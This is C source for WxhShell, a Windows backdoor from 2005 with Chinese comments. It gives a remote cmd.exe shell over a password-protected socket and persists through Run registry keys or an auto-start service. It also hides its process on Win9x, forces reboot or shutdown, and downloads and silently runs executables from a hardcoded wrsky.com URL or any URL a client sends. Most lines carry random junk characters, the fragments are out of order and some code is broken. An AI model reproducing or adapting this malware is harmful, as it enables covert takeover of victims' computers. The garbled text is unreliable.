    closesocket(wsh); GJeP~   
    ExitThread(0); <F%c"Rkh  
    } t5M"M{V  
    break; 7]J7'!Iz  
    } $URL7hrhU  
  // 获取shell LA9'HC(5  
  case 's': { $eSSW+8q"  
    CmdShell(wsh); O_S%PX  
    closesocket(wsh); |qAU\m"Pc  
    ExitThread(0); 1 x'H #  
    break; (p?7-~6|:  
  } 1*VArr6*6  
  // 退出 2d60o~ E  
  case 'x': { e$t$,3~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); gXb * zt2  
    CloseIt(wsh); FdcmA22k*  
    break; [ 11D7L%1t  
    } ,qz:(Nr  
  // 离开 =1SG^rp  
  case 'q': { L\%zNPLS  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); wRj||yay#-  
    closesocket(wsh); N"zg)MsX  
    WSACleanup(); EvJ<X,Bo  
    exit(1); 0e,U&B<W  
    break; t(.jJ>|+*  
        } <aR sogu"P  
  } +U^H`\EUr  
  } V/dL-;W;  
7.W$6U5  
  // 提示信息 ahmxbv3f=5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1Z_2s2`p  
} &W*do  
  } q L-Ni  
|!?lwBs4  
  return; /h v2=A  
} `=.A]) >  
k>V~ iA  
// shell模块句柄 .Z9{\tj  
int CmdShell(SOCKET sock) 0Z&ua  
{ .Y*jL&!  
STARTUPINFO si; 2E$K='H:,  
ZeroMemory(&si,sizeof(si)); v1aE[Q  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; x1'4njTV$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4R&e5!  
PROCESS_INFORMATION ProcessInfo; dm~Uj  
char cmdline[]="cmd"; 0/4"Jh$t  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2,^ U8/  
  return 0; i[O{ M`Z%  
} 14S_HwX  
{=Z _L?j  
// 自身启动模式 x T{s%wE  
int StartFromService(void) z0-[ RGg  
{ !;U;5e=0  
typedef struct 87p tab@  
{ k+% c8w 9  
  DWORD ExitStatus; FE4P EBXvu  
  DWORD PebBaseAddress; G]k+0&X  
  DWORD AffinityMask; 6Z>G%yK  
  DWORD BasePriority; `Re{j{~s  
  ULONG UniqueProcessId; *Me&> "N"  
  ULONG InheritedFromUniqueProcessId; HU47 S  
}   PROCESS_BASIC_INFORMATION; (p!w`MSv  
zk^uS#  
PROCNTQSIP NtQueryInformationProcess; +zINnX  
`7$Sga6M  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; h}n?4B~Gi  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ["~T)d'  
+]$c+!khj  
  HANDLE             hProcess; <HXzcWQ$  
  PROCESS_BASIC_INFORMATION pbi; 4%"Df1 U  
+ :;6kyM6X  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); kVY 0 E  
  if(NULL == hInst ) return 0; *Kmo1>^  
tpj6AMO/`d  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `s|^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~(P\'H&(h  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \]Y=*+{  
Qk?J4 B  
  if (!NtQueryInformationProcess) return 0; \}EJtux q  
q!Q*T^-rO  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); i0g/'ZP  
  if(!hProcess) return 0; I2^@>/p8\(  
'X P  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; xO 6$:o-  
i@o'Fc  
  CloseHandle(hProcess); du>d?  
D&|HS!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); v:zKn[;o  
if(hProcess==NULL) return 0; 6|B;C  
J}Ji /  
HMODULE hMod; 6 vr8rJ-  
char procName[255]; nPg,(8Tt  
unsigned long cbNeeded; YtFH@M  
()ZP =\L  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); T_I ApC  
?!;i/h*{  
  CloseHandle(hProcess); /?B%,$~  
|gwGCa+  
if(strstr(procName,"services")) return 1; // 以服务启动 >)8<d3m  
= 6.i.(L_S  
  return 0; // 注册表启动 WJBwo%J  
} dCO7"/IHW  
,#8H9<O9t  
// 主模块 .-?Txkwb  
int StartWxhshell(LPSTR lpCmdLine) x#jJ 0T  
{ yGE)EBH  
  SOCKET wsl; 3!Cab/T  
BOOL val=TRUE; &2//\Qz  
  int port=0; }@<Ru  
  struct sockaddr_in door; L',7@W  
TFYp=xK(  
  if(wscfg.ws_autoins) Install(); VmP5`):?b  
/ULO#CN?;  
port=atoi(lpCmdLine); $LHF=tYS  
"VI2--%v3  
if(port<=0) port=wscfg.ws_port; r [4dGt  
,nGZ( EBD  
  WSADATA data; @tVl8]y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +x)x&;B)/  
h{.x:pPXy  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   .&;:X )  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ey ?paT  
  door.sin_family = AF_INET; 1( vcM  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); iL;{]A'0  
  door.sin_port = htons(port); 0ra+MQBg  
I7?s+vyds  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^Kj xQO6y3  
closesocket(wsl); :~LOw}N!aQ  
return 1; Po7oo9d  
} F ,h}HlU  
2U rE>_  
  if(listen(wsl,2) == INVALID_SOCKET) { }cd-BW  
closesocket(wsl); ROj9#:  
return 1; x>[f+Tc  
} C3-I5q(V]  
  Wxhshell(wsl); tr$d?  
  WSACleanup(); GEZ!z5";BQ  
n{E9p3i  
return 0; =0_((eXwf  
l( uV@_3  
} z18<rj  
sV-UY!   
// 以NT服务方式启动 NzC&ctPk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) w(UZmZb}  
{ oG' 'my#3  
DWORD   status = 0; =0mXTY1  
  DWORD   specificError = 0xfffffff; A"Sp7M[J  
&O|qx~(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; UmOK7SPi  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; pL`)^BJ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; z2god 1"  
  serviceStatus.dwWin32ExitCode     = 0; (/gMtIw  
  serviceStatus.dwServiceSpecificExitCode = 0; )g[7XB/w  
  serviceStatus.dwCheckPoint       = 0; yPT\9"/  
  serviceStatus.dwWaitHint       = 0; mJa8;X!r6  
*#c^.4$'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); M(#]NTr ~4  
  if (hServiceStatusHandle==0) return; YnW,6U['{g  
3im2 `n  
status = GetLastError(); )mE67{YJh~  
  if (status!=NO_ERROR) mL]5Tnc  
{ BBHoD:l  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; by* v($  
    serviceStatus.dwCheckPoint       = 0; G ;  
    serviceStatus.dwWaitHint       = 0; jOU1F1  
    serviceStatus.dwWin32ExitCode     = status; 3 , nr*R!  
    serviceStatus.dwServiceSpecificExitCode = specificError; ]X<L~s_*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); v\Edf;(  
    return; =`MMB|{6  
  } ?Y'r=Q{w  
Na{&aqdz  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; TM0DR'.  
  serviceStatus.dwCheckPoint       = 0; l4Qv$  
  serviceStatus.dwWaitHint       = 0; V2BsvR`  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2X|nPhNi  
} RxXiSc`^z  
m}GEx)Y D  
// 处理NT服务事件,比如:启动、停止 U'Fc\M5l/l  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &OP =O*B  
{ HVaKy+RU  
switch(fdwControl) 6d%)MEM  
{ MVZ9x%  
case SERVICE_CONTROL_STOP: K?X 6@u|h  
  serviceStatus.dwWin32ExitCode = 0; R\:t 73  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Rv@( [rn+  
  serviceStatus.dwCheckPoint   = 0; A =l1_8,`h  
  serviceStatus.dwWaitHint     = 0; SS"Z>talw  
  { h f9yK6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N3o kN8d  
  } {14sI*b16  
  return; CV7%ud]E  
case SERVICE_CONTROL_PAUSE: A\T9>z^k  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7,,#f&jP  
  break; y];@ M<<?e  
case SERVICE_CONTROL_CONTINUE: @j+X>TD  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 'Z`fZ5q  
  break; _VI3b$  
case SERVICE_CONTROL_INTERROGATE: ~=9]M.$  
  break; )ioIn`g^-  
}; fhbILg  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;ksxz  
} ]R6Z(^XT,E  
vH/ Y]Am  
// 标准应用程序主函数 O*-sSf   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^=Egf?|[  
{ <PTi>C8;r  
g].v  
// 获取操作系统版本 .Af H>)E  
OsIsNt=GetOsVer(); uW^W/S%'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); | sZu1K  
,7*-%05[\  
  // 从命令行安装 )kK" 1\m  
  if(strpbrk(lpCmdLine,"iI")) Install(); Ps9YP B-  
 Wkc^?0p  
  // 下载执行文件 VO+3@d:  
if(wscfg.ws_downexe) { hSfLNvK  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) C^!ej"  
  WinExec(wscfg.ws_filenam,SW_HIDE); E K#ib  
} ^9xsbv B0  
8`;3`lZ  
if(!OsIsNt) { MRL,#+VxA  
// 如果时win9x,隐藏进程并且设置为注册表启动 &$hT27A>k  
HideProc(); C 8q VYrw  
StartWxhshell(lpCmdLine); H\ONv=}7I  
} atWB*kqI  
else 6Rc%P)6  
  if(StartFromService()) Z'|A>4\  
  // 以服务方式启动 S[L2vM)  
  StartServiceCtrlDispatcher(DispatchTable); OCYC Dn  
else ybgAyJ{J<  
  // 普通方式启动 Dd$CN&Ca  
  StartWxhshell(lpCmdLine); Oky9G C.a  
0fU^  
return 0; ljRR{HOl  
} qr[+^*Ha  
DU.[Sp  
4 Q FX  
%QKRl 5RM-  
=========================================== ~L=Idt!9  
jj*e.t:F  
7COJ.rA  
tx{tIw^2;  
i=8){G X4  
V0'_PR@;  
" LTt| "D  
1$a dX  
#include <stdio.h> +)7Yqh#$  
#include <string.h> 7{:g|dX  
#include <windows.h> 5N4[hQrVJ  
#include <winsock2.h> w-(^w9_e  
#include <winsvc.h> Zfn390_  
#include <urlmon.h> (VA:`pstP  
'P5|[du+  
#pragma comment (lib, "Ws2_32.lib") =| M[JPr  
#pragma comment (lib, "urlmon.lib") 20p/p~<  
(8/Qt\3jv  
#define MAX_USER   100 // 最大客户端连接数 yyVv@  
#define BUF_SOCK   200 // sock buffer %Lwd1'C%  
#define KEY_BUFF   255 // 输入 buffer 3O!TVSo  
g&6O*vx  
#define REBOOT     0   // 重启 A`qb5LLJ)  
#define SHUTDOWN   1   // 关机 2e @zd\  
|`yzH$,F  
#define DEF_PORT   5000 // 监听端口 ewb/ Z[4  
POCFT0R}  
#define REG_LEN     16   // 注册表键长度 zO07X*Bw  
#define SVC_LEN     80   // NT服务名长度 (6S f#M  
.+TriPL  
// 从dll定义API "3Z<V8xB  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Q&Ox\*sMK  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *|DIG{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :g[G&Ds8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  zOnQ656  
Ug|o ($CY  
// wxhshell配置信息 C5jR||  
struct WSCFG { )wwQv2E  
  int ws_port;         // 监听端口 X[ o9^<  
  char ws_passstr[REG_LEN]; // 口令 "x$RTuWA9  
  int ws_autoins;       // 安装标记, 1=yes 0=no KGI0|Z]n~  
  char ws_regname[REG_LEN]; // 注册表键名 7VwLyy  
  char ws_svcname[REG_LEN]; // 服务名 P"WnU'+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 h.W;Dmf6]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 );.q:"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;qF#!Kb5  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {%;KkC8=R  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" jW-j+ WGSM  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  _,2P4  
Nl^{w'X0h  
}; &G>EBKn\2`  
@#%rTKD9F  
// default Wxhshell configuration d#9"_{P  
struct WSCFG wscfg={DEF_PORT, y`EcBf  
    "xuhuanlingzhe", Gv,0{DVX<  
    1, $*{$90 Q  
    "Wxhshell", i-EFq@xl  
    "Wxhshell", c=T^)~$$  
            "WxhShell Service", o(/(`/  
    "Wrsky Windows CmdShell Service", {A2SG#}  
    "Please Input Your Password: ", 6*,8 H&  
  1, sgn,]3AUq  
  "http://www.wrsky.com/wxhshell.exe", {&Fh$H!  
  "Wxhshell.exe" Svmyg]  
    }; b:}`O!UBw  
ZTx~+'(  
// 消息定义模块 wxg`[c$:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; RJ_ratKN*g  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <(Wa8PY2(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <M1XG7_I  
char *msg_ws_ext="\n\rExit."; g& *pk5V>  
char *msg_ws_end="\n\rQuit."; xwj%X%2  
char *msg_ws_boot="\n\rReboot..."; dsP1Zq  
char *msg_ws_poff="\n\rShutdown..."; !(hP{k ^g  
char *msg_ws_down="\n\rSave to ";  |Aw(v6  
,Jf)A/_  
char *msg_ws_err="\n\rErr!"; d/GP.d  
char *msg_ws_ok="\n\rOK!"; x hFQjV?V  
*My?l75  
char ExeFile[MAX_PATH]; 3d.JV'C'c  
int nUser = 0; eYurg6Ob~  
HANDLE handles[MAX_USER]; q)ygSOtj  
int OsIsNt; )-9G*3  
0O>8DX  
SERVICE_STATUS       serviceStatus; V X<ZB +R  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; b+NF: -fO  
v?yHj-  
// 函数声明 )T:{(v7 d`  
int Install(void); OH28H),}  
int Uninstall(void); &DFe+y~PR  
int DownloadFile(char *sURL, SOCKET wsh); $;_'5`xs  
int Boot(int flag); S #X$QD  
void HideProc(void); 2oAPJUPOJ  
int GetOsVer(void); ^ b`}g  
int Wxhshell(SOCKET wsl); QY2!.a^q  
void TalkWithClient(void *cs); sa`7_KB  
int CmdShell(SOCKET sock); $.}fL;BzVz  
int StartFromService(void); l{4=La{?j  
int StartWxhshell(LPSTR lpCmdLine); ^)b*"o  
!+.|T9P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )Xa`LG =|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /c`)Er 6d  
Y]b5qguK  
// 数据结构和表定义 j8@YoD5o  
SERVICE_TABLE_ENTRY DispatchTable[] = L;xc,"\3  
{ uKqN  
{wscfg.ws_svcname, NTServiceMain}, B:tST(  
{NULL, NULL} I C9:&C[  
}; B7TA:K  
MjG=6.J|`  
// 自我安装 Y$EqBN  
int Install(void) cW,wN~  
{ *&B*/HAN  
  char svExeFile[MAX_PATH]; :x97^.eW~  
  HKEY key; ,SJB 3if  
  strcpy(svExeFile,ExeFile); .bvB8VOrW  
$6:j3ZTXrt  
// 如果是win9x系统,修改注册表设为自启动 ~fs{Ff'  
if(!OsIsNt) { f3-=?Z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @3[Z Q F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KMznl=LF  
  RegCloseKey(key); uj&^W[s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A $W,#`E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !a3cEzs3  
  RegCloseKey(key); ]}F_nc2L  
  return 0; Tn/ 3`j {  
    } K 3?7Hndf2  
  } QQ97BP7W  
} >  K,Q`sS  
else { K(Otgp+zb  
!5 %c`4  
// 如果是NT以上系统,安装为系统服务 _p7c<$ ;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); p[&'*"o!/  
if (schSCManager!=0) IQdiVj  
{ GFx >xQk  
  SC_HANDLE schService = CreateService v4(!~S  
  ( Gw3|"14  
  schSCManager, Qm,|'y:Tg  
  wscfg.ws_svcname, Rs8`M8(4%  
  wscfg.ws_svcdisp, D(}v`q{Y  
  SERVICE_ALL_ACCESS, vN 7a)s  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , aD3'gc,l  
  SERVICE_AUTO_START, B4GgR,P@S  
  SERVICE_ERROR_NORMAL, ~tDV{ml  
  svExeFile, TeG5|`t],  
  NULL, ]m(Uv8/6  
  NULL, (ui"vLk8PP  
  NULL, Z KnEg2a  
  NULL, eUVE8pZl  
  NULL Revc :m1o  
  ); M'HmVg4'  
  if (schService!=0) hp,bfcM  
  { _i:yI-jA  
  CloseServiceHandle(schService); O~-#>a  
  CloseServiceHandle(schSCManager); j,Qp*b#Qo  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); qbHb24I  
  strcat(svExeFile,wscfg.ws_svcname); ve=oH;zf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Gs.id^Sf  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); FbJlyWND  
  RegCloseKey(key); #+QwRmJdT!  
  return 0; jRXByi=9  
    } A%oHx|PD  
  } a7nbGqsx  
  CloseServiceHandle(schSCManager); !iCY!:  
} 2>.B*P  
} r.[!n)*  
v l2!2X  
return 1; =wPl;SDf!  
} cW26TtU(  
uOs 8|pj,  
// 自我卸载 %Ox*?l _  
int Uninstall(void) ?A2#V(4  
{ br>"96A1l  
  HKEY key; E*.D_F  
lz faW-nu  
if(!OsIsNt) { zOCru2/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -JaC~v(0  
  RegDeleteValue(key,wscfg.ws_regname); i=.zkIjSh  
  RegCloseKey(key); Cz+>S3v M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7:R8QS9  
  RegDeleteValue(key,wscfg.ws_regname); 8"LvkN/v^  
  RegCloseKey(key); :u`  
  return 0; :|M0n%-X  
  } YT}m 8Y  
} 'F?T4  
} l^%Ez?-:s  
else { /'u-Fr(Q+  
W'-B)li   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); SI*O#K=w  
if (schSCManager!=0) <E|i3\[p  
{ :o&qJ%  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); uYhm Fp  
  if (schService!=0) {XC# -3O  
  { SQ]&nDd  
  if(DeleteService(schService)!=0) { ^|Of  
  CloseServiceHandle(schService); |(*ReQ?=  
  CloseServiceHandle(schSCManager); cMsm[D{b  
  return 0; =" #O1$  
  } V"#ie Y n  
  CloseServiceHandle(schService); ),mKEpf  
  } +tkDT@ `  
  CloseServiceHandle(schSCManager); vkOCyi?c  
} x}i:nLhL  
} \&`S~cV9  
H.hF`n  
return 1; t`o-HWfS.  
} xD,BlDV  
0ym>Hbax)  
// 从指定url下载文件 B4r4PSB>!  
int DownloadFile(char *sURL, SOCKET wsh) .v9#|d d+  
{ ow!utAF  
  HRESULT hr; 6x^#|;e>lI  
char seps[]= "/"; [DC8X P5 <  
char *token; ?V4?r2$c  
char *file; (q59cAw~X  
char myURL[MAX_PATH]; f6j;Y<}' g  
char myFILE[MAX_PATH]; >_jT.d  
JZNRMxu  
strcpy(myURL,sURL);  btJ:Wt}  
  token=strtok(myURL,seps); $5jQm,V$K  
  while(token!=NULL) >Olg lUzA  
  { oa?bOm  
    file=token; <xKer<D %  
  token=strtok(NULL,seps); ) kfA5xi[  
  } WId"2W3M  
NBwxN  
GetCurrentDirectory(MAX_PATH,myFILE); $d3al%Uo  
strcat(myFILE, "\\"); GF*8(2h2  
strcat(myFILE, file); X9K@mX  
  send(wsh,myFILE,strlen(myFILE),0); T ]hVO'z  
send(wsh,"...",3,0); 0D+[W5TB  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); F"1)y>2k  
  if(hr==S_OK) P%A;EF~ v  
return 0; 7#SXqyP[  
else y4PR&^l?g  
return 1; 'c*Q/C;  
~,WG284  
} _HW~sz|  
epI&R)]   
// 系统电源模块 @e8b'w3  
int Boot(int flag) rG|lRT3-K  
{ {?!=~vp  
  HANDLE hToken; _dky+ E  
  TOKEN_PRIVILEGES tkp; ON.C%-T-  
5R\{&  
  if(OsIsNt) { "j;"\i0  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); b R> G%*a  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "SJp9s3  
    tkp.PrivilegeCount = 1; As }:~Jy|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; FNL[6.!PV  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ?{[ ISk)  
if(flag==REBOOT) { M{cF14cQ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) tPBr{  
  return 0; Ri=:=oF(  
} 8yij=T*  
else { v W=$C  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) HX%lL }E  
  return 0; F7P?*!dx  
} cH%qoHgx  
  } rp^= vfW  
  else { 'APtY;x^{  
if(flag==REBOOT) { bnHQvCO3$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :>4pH  
  return 0; un([3r  
} a9]F.Jm  
else { s.7\?(Lg  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) r@b M3V_o  
  return 0;  mo+zq~,M  
} v|fA)W w  
} B3|h$aKC  
O{b<UP'85  
return 1; sA$x2[*O  
} 6a6;]lsG  
1W3+ng  
// win9x进程隐藏模块 Wi7!J[ B  
void HideProc(void) ~Cc%!4f'  
{ /e5' YVP  
cq:<,Ke  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); zG-pqE6  
  if ( hKernel != NULL ) #gn{X!;-;  
  { _ 3@[S F  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); yvR3|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `#@#e Z  
    FreeLibrary(hKernel); 7QV@lR<C2R  
  } r9MS,KG8  
do,ZCn  
return; E)w6ZwV  
} qLC_p)  
&! i'Q;q  
// 获取操作系统版本 [bM$n m  
int GetOsVer(void) cxX/ b ,  
{ F{*{f =E!B  
  OSVERSIONINFO winfo; "#}Uh  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); o]T-7Gs4p  
  GetVersionEx(&winfo); ^97u0K3$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  PL"u^G`  
  return 1; TwPp Z@  
  else zplAH!s5''  
  return 0; CCoT  
} 0\tV@ 6p2=  
% !P^se  
// 客户端句柄模块 D+4oV6}~  
int Wxhshell(SOCKET wsl) f2h`bO  
{ Ln-UN$2~F  
  SOCKET wsh; M2Q*#U>6r  
  struct sockaddr_in client; L#huTKX}  
  DWORD myID; v7-z<'?s~  
$-^ ;Jl  
  while(nUser<MAX_USER) LV}Z[\?   
{ VT ikLuH  
  int nSize=sizeof(client); ;]gj:6M  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +az=EF  
  if(wsh==INVALID_SOCKET) return 1; 9 +1}8"~  
#*;G8yV  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); EBQ,Ypv  
if(handles[nUser]==0) aI.5w9  
  closesocket(wsh); :O?+Ywn  
else UP<B>Y1a  
  nUser++; \7V[G6'{  
  } Sb QM!Q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !LI 8Xk  
DP@F-Q4  
  return 0; jJ.isr|`  
} N[=c|frho  
K&"ZZFd_  
// 关闭 socket itYTV?bd  
void CloseIt(SOCKET wsh) ]v2%hX  
{ *ggai?  
closesocket(wsh); \]Bwib%h  
nUser--; d\O*Ol*/v  
ExitThread(0); My6a.Kl  
} .gQYN2#zb  
aU\R!Y$/"  
// 客户端请求句柄 f]sc[_n]  
void TalkWithClient(void *cs) q"LE6?hs  
{ :,Zs {\oI3  
R6m6bsZ`  
  SOCKET wsh=(SOCKET)cs; "!S7D >2y#  
  char pwd[SVC_LEN]; R1cOUV,y[/  
  char cmd[KEY_BUFF]; )L+>^cJI<  
char chr[1]; J;DTh ]z?:  
int i,j; ntr&? H  
to9X2^  
  while (nUser < MAX_USER) { aM5Hp>'nI  
L l$,"}0T  
if(wscfg.ws_passstr) { Vq&}i~  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); * lo0T93B  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #i;y[dQ  
  //ZeroMemory(pwd,KEY_BUFF); Cfr2 ~w  
      i=0; F:~k4uTW\b  
  while(i<SVC_LEN) { b?U2g?lN:  
[iXkv\  
  // 设置超时 <`)vp0  
  fd_set FdRead; 2#81oz&K  
  struct timeval TimeOut; ~J:qG9|]}  
  FD_ZERO(&FdRead); zhZ!!b^6<  
  FD_SET(wsh,&FdRead); byJR6f  
  TimeOut.tv_sec=8; mYx6JU*`  
  TimeOut.tv_usec=0; b[U;P=;=  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); uqHI/4  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0<[g7BbR  
vJ?j#Ch  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r91b]m3xL  
  pwd=chr[0]; [gaB}aLn  
  if(chr[0]==0xd || chr[0]==0xa) { Je*hyi7  
  pwd=0; }PUY~ u  
  break; a7U`/*  
  } 0/5{v6_rG  
  i++; d_1uv_P  
    } GIM'H;XG  
IkP; i_|  
  // 如果是非法用户,关闭 socket GMKY1{   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); dbG902dR  
} RW`+F|UbE  
T9NTL\;  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); b QgtZHO  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0'Uo3jAB  
[;Y*f,UG_-  
while(1) { ruU &.mZ  
jPIOBEIG  
  ZeroMemory(cmd,KEY_BUFF); GZ1c~uAu  
&{e:6t  
      // 自动支持客户端 telnet标准   +.J/7 gD  
  j=0; `f<&=_,xfH  
  while(j<KEY_BUFF) { 3f-J%!aH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  myOdf'=  
  cmd[j]=chr[0]; ;q33t% j  
  if(chr[0]==0xa || chr[0]==0xd) { LjySO2  
  cmd[j]=0; kInU,/R*  
  break; {d '>J<Da  
  } %CV.xDE8  
  j++; ^wlo;.8Y  
    } cqG&n0zb  
K3^2;j1F Q  
  // 下载文件 LEd@""h  
  if(strstr(cmd,"http://")) { _ SJ Fuv/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); G-[.BWQ   
  if(DownloadFile(cmd,wsh)) Ex+E66bE  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); sTmdoqTK!  
  else ` InBhU>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p~yGp] yJ9  
  } 24I\smO  
  else { HhB&vi  
"IJ 9vXI  
    switch(cmd[0]) { tjJi|  
  av"dJm  
  // 帮助 +W+o~BE  
  case '?': { Hto+spW  
